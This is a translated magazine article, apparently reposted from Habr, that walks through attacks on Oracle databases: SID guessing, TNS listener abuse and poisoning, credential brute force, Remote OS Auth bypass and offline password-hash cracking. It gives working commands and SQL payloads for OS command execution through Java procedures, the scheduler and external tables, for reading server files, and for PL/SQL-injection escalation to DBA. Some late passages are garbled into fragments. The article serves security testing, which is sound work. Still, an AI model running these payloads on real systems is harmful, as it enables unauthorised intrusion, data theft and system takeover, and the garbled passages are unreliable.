📜 ⬆️ ⬇️

Attack on the oracle. Detailed Guide for Oracle DB Attack Vectors



Today I would like to talk about the vectors of attacks on the Oracle DBMS at different stages: how to probe the weak points of the base from the outside, penetrate and gain a foothold inside, and how to automate the whole thing with the help of specialized software. The architecture and capabilities of the database are very interesting, there are many interesting moments, which means there are many ways to spoil everything. However, do not forget: to break - not to build, so all further information is provided solely in order to identify shortcomings in the security of the tested systems and improve security.

External perimeter. The listener is under attack


Anyone who has ever encountered this database knows that interaction with Oracle RDBMS is done through the TNS Listener. Listener is a kind of connection balancer. By default, the listener listens on the 1521st TCP port (in the “future”, Oracle promises to switch to 2483 and 2484 / SSL) and allows incoming connections depending on which database is requested, which, respectively, allows working with several. Identification of a specific database is based on an alphanumeric string - its SID (System IDentifier). There is also the concept of SYSTEM_NAME, which can most often be perceived as an analogue of SID (from a Pentester point of view, of course).

Pentest of the Oracle database, as a rule, begins with attacks on the listener service. The task of finding and determining the version of the database management system is excellent Nmap. But first of all it is important for us to get the SID to connect to the listener, because without it the listener will not communicate with us. Sh2kerr once wrote an excellent study on this topic. Different ways to guess Oracle database SID .
')
The main methods for obtaining SIDs include the enumeration of typical values ​​for a specific platform, since the SID can be default. For example, ORCL - default for normal Oracle, XE - for Oracle Express Edition. Also SID can be obtained through third-party resources. For example, the EM console web interface on port 1158; via SAP web_appserver, XDB and other things installed on top of Oracle. The system identifier can be skipped because a listener returns various errors when it is connected, depending on whether such a SID exists or not. In addition, there is a long-standing practice of making short identifiers (3-4 characters). When iterating, do not forget about the company name, system name, host names and other social aspects. The latter task is very efficiently handled by the auxiliary / scanner / oracle / sid_brute module from Metasploit. For an attack, it is enough to specify the IP address of the remote host. This is a very good brutilka seed, it has a built-in dictionary of 600 typical values.

By the way, to meet the Oracle version below 10.0 is a real treat for the pentester. Listener to one of the old versions with default settings reveals everything that is possible, including the serviced SIDs, the DBMS version, the OS type, and has a number of important vulnerabilities (hereinafter we use the lsnrtctl utility, which is included in the Oracle package):



For a real attack, we will use the tnscmd.pl utility, since lsnrctl cannot send custom requests. We specify the first request as a bat log in autoload, the second we add the user:

 tnscmd -h 192.168.1.100 -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\evil.bat)))" tnscmd -h 192.168.1.100 -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=(( > net user Bob Marley /add 

In Linux, you can do dirty tricks in a similar way, for example, add your SSH keys. You can read more about this technique in the book by A. Polyakov “Oracle's Security through the Eyes of the Auditor: Attack and Defense”. By the way, we can accomplish a part of the actions described above with the help of the module of the same name in Metasploit - auxiliary / admin / oracle / tnscmd. Finally, if you already have remote access to the server from the database, you can steal from listener.ora (this is such a configuration file, it lies in $ ORACLE_HOME / network / admin) password hash from the "listener". Up to the tenth version of it is enough to connect.

 PASSWORDS_LISTENER = 334CC7EA0C4F01A0 

Once again, these attacks are relevant only for Oracle until the tenth version. Starting with “ten”, remote configuration is disabled by default. Although we still can get some information from disclose.

External perimeter. TNS Listener Poison


If you have met the version of the "listener" fresher, then there is not much to roam, only brute force remains. However, all versions, including 12c, with default settings are vulnerable to an attack called TNS Listener Poison (a type of man-in-the-middle technique, MITM). True, 12c is only vulnerable in some configurations. For example, one of the options that can hinder us is to turn off the dynamic configuration of the "listener", which is impossible when using Oracle DataGuard, PL / SQL Gateway with connection to APEX and some versions of SAP.

The point is this: by default, the “listener” service supports remote configuration required to create a database cluster (RAC - Real Application Cluster). In fact, we can connect to the "listener" and "register", that is, tell him that we are a member of the cluster on which his database is running. Then you can wait for connections from clients that we will throw listener. But not all, but only parts, because the listener balances the load on the cluster: it will immediately connect someone to a real DBMS, send it to someone. At the same time for a full-fledged MITM attack, no one bothers to redirect clients connecting to us back to the DBMS. And at the same time, we will be able to fully control the transmitted traffic: and view it (data, not counting authentication, are not encrypted), change commands and add them.


Exploitation Principle for TNS Poison

Here is an approximate attack algorithm:

  1. We send TNS request `CONNECT_DATA = (COMMAND = SERVICE_REGISTER_NSGR))`.
  2. The vulnerable server will reply `(DESCRIPTION = (TMP =))`. Patched will say `(ERROR_STACK = (ERROR = 1194))`.
  3. We form the configuration package with the SID and IP of the new "listener" (ours). The number of characters in the name of the current SID is of fundamental importance. You need to know it, because otherwise it will go on parsing and the package will not be “Well Formed”.
  4. We send all this stuff to the listener.
  5. If everything is correct, then after this part of the new connections, the listener will be sent to the IP controlled by us.

To check if the server is vulnerable, you can use one of the MSF modules - `auxiliary / scanner / oracle / tnspoison_checker`. It should be noted that there are no universal utilities that allow you to fully control the data transmitted during the MITM-attack. This is largely due to the complexity of the oraklovy protocol, as well as a large number of its varieties (it varies depending on the database version, host architecture, operating system and language). On the other hand, for specific goals and tasks, it is not difficult to make a crutch.

Www


Archive with scripts (proxy, poisoner) and a super detailed description of the vulnerability .

External perimeter. Users Brute force


Got a SID? Ok, move to the next typical task - we get accounting. From this point on, we can connect to the listener and get accounts. In general, Oracle was once vulnerable, and it was possible to first get logins and then passwords (the same problem: various errors for existing and non-existent users), but the existing tools are old and work very unstable. With the classic brute force, uchetok again helps Metasploit and its module `auxiliary / scanner / oracle / oracle_login`. It has a built-in dictionary of the most popular default accounts in the form of login: password. Although, of course, it does not cover all possible variations, and sometimes you have to google about the platform being broken or think about the employees' fantasy and re-brutalize again. At the same time, we should not forget that Oracle supports password policies and can block accounts.

Default records present one of the most common and at the same time serious security problems in Oracle. There are a lot of these users, they have different privileges, and some of them are not so easy to disable. So, when conducting a security audit of Oracle products, it is very important to look in the documentation for a list of default accounts. And if there are not so many such records in the “clean” Oracle DB, then if you put an ERP system like the E-Business Suite on it, there are about 300 of them! For a more thorough, but also a long brute force, I advise you to contact Nmap:

 nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=DSECRG,userdb=/root/Desktop/ora/userdb, passdb=/root/Desktop/ora/passdb 192.168.1.100 

Be aware that this script mixes logins and passwords, that is, each password tries each login, which is quite a while!

External perimeter. Remote OS Auth


A somewhat more elegant way to get yourself accounting from the base is to bypass the check. But this will work only if `Remote OS Auth` is used in the system under test. The bottom line is that in Oracle RDBMS it is possible to shift user authentication to the OS. Thus, if the user is authenticated in the OS, then the connection to the database will occur without checking the password. The logins of such users in the database are prefixed with ops $ (for example, ops $ Bob). Moreover, this function works with remote hosts. Thus, in order to attack, we have to connect to a "listener" with the user name and "say" that the password has been verified in the OS, so that we can be let in. Listener will believe and let :). Despite the seeming strangeness, this method is used to bundle SAP SAP systems with Oracle as the main one. Hence, the practical sequence is as follows:

  1. Find out such an account (for example, for SAP it is “calculated” by a known algorithm).
  2. Create such OS accounting on your machine.
  3. Connect to the DBMS using standard tools.

If you want to practice in your test lab, then you can test the method by following the step-by-step plan:

  1. Check for remote auth. Enter in the SQL terminal:
     show parameter os_authent; //  TRUE,   
  2. Enabling r.auth (if FALSE):
     alter system set remote_os_authent=TRUE scope=SPFILE; 
  3. Creating an EVIL user with the ops prefix:
     create user ops$evil identified by p@ssw0rd; 
  4. Issuance of rights:
     grant connect to ops$evil; 

Finally, to connect to the database using Remote Auth, enter the following:

 sqlplus /@\"192.168.1.3:1521/orcl.marley.local\" /*   @    sqlplus,      OS */ 

By the way, the password for the user in the OS and the password for the Oracle DB user may differ, this does not affect anything.

At ZeroNights 2015, Roman Bazhin (@nezlooy) shared an interesting observation: it turned out that at the time of sending the packet with the request for authorization ** you can replace the value of the current user **, and therefore you can arrange a search. Such an attack will obviously work faster than direct brute-force account, because you only need to check logins, no passwords. You can read more about Remote OS Auth here and here .

External perimeter. Remote stealth pass brute force


Another serious vulnerability that was in Oracle RDBMS is the ability to remotely obtain the hash password of any user, and then locate it locally. Versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2 and 11.2.0.3 are vulnerable to this technique. In order to understand the essence of the vulnerability, you need to consider how the authentication protocol with the DBMS for the eleventh version works (the freaks from Oracle in each new branch change the authentication protocol). The interaction with the server is as follows:

  1. The client connects to the server and sends the username.
  2. The server generates a session identifier (`AUTH_SESSKEY`) and encrypts it using AES-192. The key is the hash of the user password and the salt added to it (`AUTH_VFR_DATA`).
  3. The server sends the encrypted session ID and salt to the client.
  4. The client generates a key by hashing its password and the resulting salt. Using this key, the client decrypts the session data received from the server.
  5. Based on the decrypted server session identifier, the client generates a new shared key, which is used later.

Now the most interesting: the session identifier `AUTH_SESSKEY`, which the server sends to the client, has a length of 48 bytes. Of these, 40 bytes are random, and the last 8 are duplicate values ​​of 0x08 (Padding). Initialization vector - 0x00 (Null). Knowing that the last 8 bytes of the identifier always consist of 0x08, we can iterate over the passwords by decrypting the session identifier (we take the hash from the password, the salt is received from the server) and checking for padding. And, as you understand, everything is offline, that is, with great speed, especially if you use a GPU. To launch an attack, you need to know the SID, a valid login (for example, the `SYS` account is very interesting), and of course, you can be connected to the database. If we break the connection, without going to points 4 and 5, then in the Oracle audit logs no records like Invalid Login Attempt will be created even for the initial receipt of the session identifier and salt. For laboratory testing of such an attack, do the following:

  1. Through Wireshark to intercept the initial traffic during authorization. The tns filter will help.
  2. Pull out the HEX values ​​AUTH_SESSKEY, AUTH_VFR_DATA.
  3. Substitute them into the PoC script , which will be accessed according to the dictionary.

The link above shows only a demo PoC, which is necessary to understand how it works. In general, the woraauthbf utility does a good job with Oracle hashes.

Internal attacks. Remote code execution


It just so happened, but to achieve the execution of operating system commands in Oracle is not so trivial as to call xp_cmdshell in MS SQL, even if you have DBO privileges. However, there are at least two different ways to execute commands — using Java procedures and using the DBMS_SCHEDULER package. By the way, it is possible to get RCE even if an SQL injection is found in a web application, of course, if the user on whose behalf it is running has enough rights. I strongly recommend at this stage to prepare the Oracle Database Attacking Tool ODAT utility . Do not forget to install the necessary Python libraries to work with Oracle, as well as the Instant Client itself .

So, imagine that we have an admin account. A very popular way to execute your command on the server in this case is to write a `java stored` procedure. This is done in three stages. The first is the creation of a Java class called oraexec. To do this, connect through the sqlplus terminal and write:

 create or replace and resolve java source named "oraexec" as import java.lang.*; import java.io.*; public class oraexec { public static void execCommand(String command) throws IOException { Runtime.getRuntime().exec(command); } } 

Next, write a PL / SQL wrapper for this class:

 create or replace procedure javacmd(p_command varchar2) as language java name 'oraexec.execCommand(java.lang.String)'; 

Everything! Now to execute, just send the following request:

 exec javacmd('command'); 

An important caveat: using the above procedure, we will not be able to see the result of the command that was worked out, but nothing prevents you from redirecting the output to a file and reading it. The full code of this shell with the ability to read and write files can be found here . However, there is a more sophisticated script , with processing the output of commands, though the size is also larger. If you use the ODAT utility for the same purpose, all actions are reduced to the following command:

 ./odat.py java -s 192.168.231.131 -U bob -P marley -d orasid --exec COMMAND 

Internal attacks. Scheduler


The next way, which will help us out in the absence of a Java virtual machine (which is typical of Oracle Express Edition / XE), is an appeal to the Oracle built-in task scheduler `dbmsscheduler`. To work with it, you must have the privilege `CREATE EXTERNAL JOB`. Here is an example of code that writes the string 0wned to a text file in the root of the C drive:

 exec DBMS_SCHEDULER.create_program('RDS2008','EXECUTABLE','c:\ WINDOWS\system32\cmd.exe /c echo 0wned >> c:\rds3.txt',0,TRUE); exec DBMS_SCHEDULER.create_job(job_name => 'RDS2008JOB',program_name => 'RDS2008',start_date => NULL,repeat_interval => NULL,end_date => NULL,enabled => TRUE,auto_drop => TRUE); 

As a result, the task of fulfilling our team will be created and then executed. Another interesting point is that basically multi-statement-requests (that is, complex requests consisting of simple, separated by semicolons) are not allowed when working with Oracle from external (that is, working through jdbc) applications. But there are such procedures within which it is possible to execute "new requests", including a multi-statement.

An example of such a procedure is `SYS.KUPP $ PROC.CREATE_MASTER_PROCESS`. For example, just using the RCE scheduler, you cannot perform a SQL injection, since it requires the creation of an anonymous procedure. But together with the above procedure is already possible. Thus, the following query can theoretically be performed in the case of SQL injection in a web application.

 select SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_program(''xxx'',''EXECUTABLE'',''cmd.exe /c echo qqq>>C:/scchh'',0,TRUE); DBMS_SCHEDULER.create_job(job_name=>''jobx'',program_name=>''xxx'',start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);dbms_lock.sleep(1);dbms_scheduler.drop_program(program_name=>''xxx'');dbms_scheduler.purge_log;') from dual 

ODAT.py again allows you to significantly reduce the amount of commands:

 ./odat.py dbmsscheduler -s 192.168.231.131 -d orasid -U bob -P marley --exec "C:\windows\system32\cmd.exe /c echo 123>>C:\hacK" 

When using the scheduler, our task can be performed not once, but with a certain frequency. This will help to consolidate in the system under test, because even if the administrator removes the user from the OS, our task will be regularly performed in the system and bring it back to life.

Internal attacks. External tables


As a final way to achieve OS command execution, I would like to describe External Tables. The same method will help to further download files from the server. We will need the following privileges:


Let me remind you that access to the UTL_FILE package by default is available for all accounts that have the CONNECT role.

Step one: check the directories issued to us with the following query:

 SELECT TABLE_NAME FROM ALL_TAB_PRIVS WHERE TABLE_NAME IN (SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OBJECT_TYPE='DIRECTORY') and privilege='EXECUTE' ORDER BY GRANTEE; TABLE_NAME ------------------------------ ALICE_DIR 

Step two: create an executable bat file with the command we need:

 declare f utl_file.file_type; s varchar2(200) := 'echo KOKOKO >> C:/pwned'; begin f := utl_file.fopen('ALICE_DIR','test.bat','W'); utl_file.put_line(f,s); utl_file.fclose(f); end; 

Step three: prepare the external table EXTT, it is needed to run the file:

 CREATE TABLE EXTT (line varchar2(256)) ORGANIZATION EXTERNAL (TYPE oracle_loader DEFAULT DIRECTORY ALICE_DIR ACCESS PARAMETERS ( RECORDS DELIMITED BY NEWLINE FIELDS TERMINATED BY ',') LOCATION (alice_dir:'test.bat')) 

Now we just have to call our batch file with the following command:

 SELECT * from EXTT; 

The terminal will start throwing errors about the impossibility of matching the table and the file being called. But in this case, it does not matter, because we needed to open the executable file, it happened. The ODAT.py utility is also able to perform this attack, however it requires the privilege `CREATE ANY DIRECTORY` (by default only the DBA role is available), because it tries to execute a file from any one, and not from“ our ”directory:

 ./odat.py externaltable -s 192.168.231.131 -U bob -P marley -d orasid --exec "C:/windows/system32" "calc.exe" 

Internal attacks. Work with file system


We proceed to the task of reading and writing files. If you just need to read the file or write it to the server, then you can do without Java-procedures, which, however, also cope with this kind of task. And we turn to the package `UTL_FILE`, which has the required functionality to work with the file system. The good news is that by default all users who have the role `PUBLIC` have access to it. The bad news is that by default, this procedure does not have access to the entire file system, only to the directory specified by the administrator. However, the specified catalog parameter * is often encountered, which literally means “access to everything”. The following command will help to clarify this:

 select name, value from v$parameter where name = 'utl_file_dir'; 

To expand access, if you have the appropriate rights, you can by the following request:

 alter system set utl_file_dir='*' scope =spfile; 

The shortest version of the procedure using the package `UTL_FILE`, I spied from Alexander Polyakov:

 SET SERVEROUTPUT ON declare f utl_file.file_type; sBuffer Varchar(8000); begin f:=UTL_FILE.FOPEN (''C:/','boot.ini','r'); loop UTL_FILE.GET_LINE (f,sBuffer); DBMS_OUTPUT.PUT_LINE(sBuffer); end loop; EXCEPTION when no_data_found then UTL_FILE.FCLOSE(f); end; 

If you need a more functional version, with the possibility of recording, I recommend to google a script called raptor_oraexec.sql. And according to tradition, an option using the ODAT utility, which, as always, is the shortest:

 ./odat.py utlfile -s 192.168.231.131 -d orasid -U bob -P marley --getFile "C:/test" token.txt token.txt 

The `UTL_FILE` package is also interesting because if you are lucky, you can get to the logs, configuration files and get passwords from privileged accounts, for example` SYS`.

The second way I would like to talk about is to reapply `External Tables`. Let me remind you: using External Tables, the database has the ability to access data from external tables in read mode. For a hacker, this means another possibility to download files from the server, but this method requires the `CREATE ANY DIRECTORY` privilege. I propose to immediately contact ODAT, it works stably and quickly:

 ./odat.py externaltable -s 192.168.231.131 -U bob -P marley -d orasid --getFile "C:/test" "my4.txt" "my" 

Internal attacks. Privilege escalation


Privileges can be raised in a variety of ways, ranging from classic buffer overflows and DLL patching to specialized database attacks - PL / SQL injections.The topic is very extensive, in this article I will not dwell on it in detail, some research is being written about it: you can read about them in Lichfield and Finnigan blogs . I will show only some of them, for a general presentation. In the course of testing, I advise you to simply pay attention to current privileges and, starting from this knowledge, look for the necessary loopholes on the Internet.

Unlike MS SQL, where an attacker can inject xp_cmdshell literally right after SELECT, simply closing it, Oracle RDBMS categorically dislikes such tricks. For this reason, the classic SQL injections are not always suitable for us, although you can get out in this case. We will consider PL / SQL injections — changing the progress of the procedure (function, trigger, and other objects) by introducing arbitrary commands into the available input parameters. (c) Sh2kerr

In order to implement the payload, you need to find a function in which incoming parameters are not filtered. The basic idea of ​​the attack is as follows: by default, unless otherwise specified, the procedure is performed on behalf of the owner, and not the user who launched it. In other words, if the procedure belonging to the `SYS` account is available for us to execute and we can inject our code into it, then our payload will also be executed in the context of the` SYS` account. This is not always the case; there are also procedures with the authid current_user parameter, which means that the procedure will be executed with the privileges of the current user. However, usually for each version of the DBMS, you can find functions that are vulnerable to PL / SQL injections.


PL / SQL Injection simplified view

In short, instead of the expected honest argument, we pass malicious code that becomes part of the procedure. A good example is the `CTXSYS.DRILOAD` function. It runs as `CTXSYS` and does not filter the input parameter, which allows for a light takeoff to the DBA:

 exec ctxsys.driload.validate_stmt('grant dba to scott'); 

True, this is more of a story: vulnerability was found in 2004, and only the old versions are exposed to it - the eighth and ninth. As a rule, the process of escalation of privileges is divided into two parts: the writing of a procedure that enhances the rights, and the actual implementation. A typical procedure is as follows:

 CREATE OR REPLACE FUNCTION F1 RETURN NUMBER AUTHID CURRENT_USER IS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO TEST'; COMMIT;RETURN(1);END; 

Now we can implement the procedure as an argument of the vulnerable function (example for tenth versions):

 exec sys.kupw$WORKER.main('x','YY'' and 1=test1.f1 –-'); 

10 11 , , , DBA-. `DBMS_JVM_EXP_PERMS` `CREATE SESSION` `JAVA IO`. :

 SQL> DECLARE POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR C1 IS SELECT 'GRANT','GREMLIN','SYS','java.io.FilePermission','<FILES>>','execute','ENABLED' FROM DUAL; BEGIN OPEN C1; FETCH C1 BULK COLLECT INTO POL; CLOSE C1; DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL); END; / PL/SQL procedure successfully completed. 

, Java-, Windows -:

 SQL> select dbms_java.runjava('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c echo 123 >c:\\hack')from dual; 

DBA


:

 sqlplus usr/pass@hostname.network/sid sqlplus "/as sysdba" 

SID :

 select * from global_name 

:

 select * from v$version; 

:

 SELECT * FROM USER_ROLE_PRIVS; SELECT * FROM USER_SYS_PRIVS; 

:

 select user from dual; 

:

 SELECT USERNAME FROM DBA_USERS; select name from sys.user$; 

, :

 select table_name from user_tables; select * from tab; 

:

 ALTER USER <username> IDENTIFIED BY <new_password>; 

GOD mode:

 Grant DBA to Scott; 

Summing up


The considered vectors, of course, are not the only ones, because new vulnerabilities also appear, and regularly. Plus for the current versions there are a number of vulnerabilities "out of the box", which in Oracle, it seems, do not rush to fix. Oracle RDBMS is a powerful but very complex thing, and therefore the “don't touch if it works” approach is very common in companies. It certainly helps with hacking.

Oracle version 12 was not considered at all in the article: firstly, there are too few chances to meet it in real life, and secondly, it is better to tell about this version separately, since many basic things in it have changed dramatically. In general, at the time of testing there are a lot of options for how events will develop. It is necessary to build on the current stage: where are you located relative to the base (inside or outside), what are your privileges, what are your goals, and then build a breakthrough plan. I hope the general approach is clear and it became clear what should be checked on the Oracle DBMS that are accessible to you. Take care of your servers!

image

First published in the magazine "Hacker" from 04/2015.
Authors: Ivan Chalykin (ivanesense@List.ru), Alexey Tyurin, Digital Security


Subscribe to "Hacker"

Source: https://habr.com/ru/post/256663/


All Articles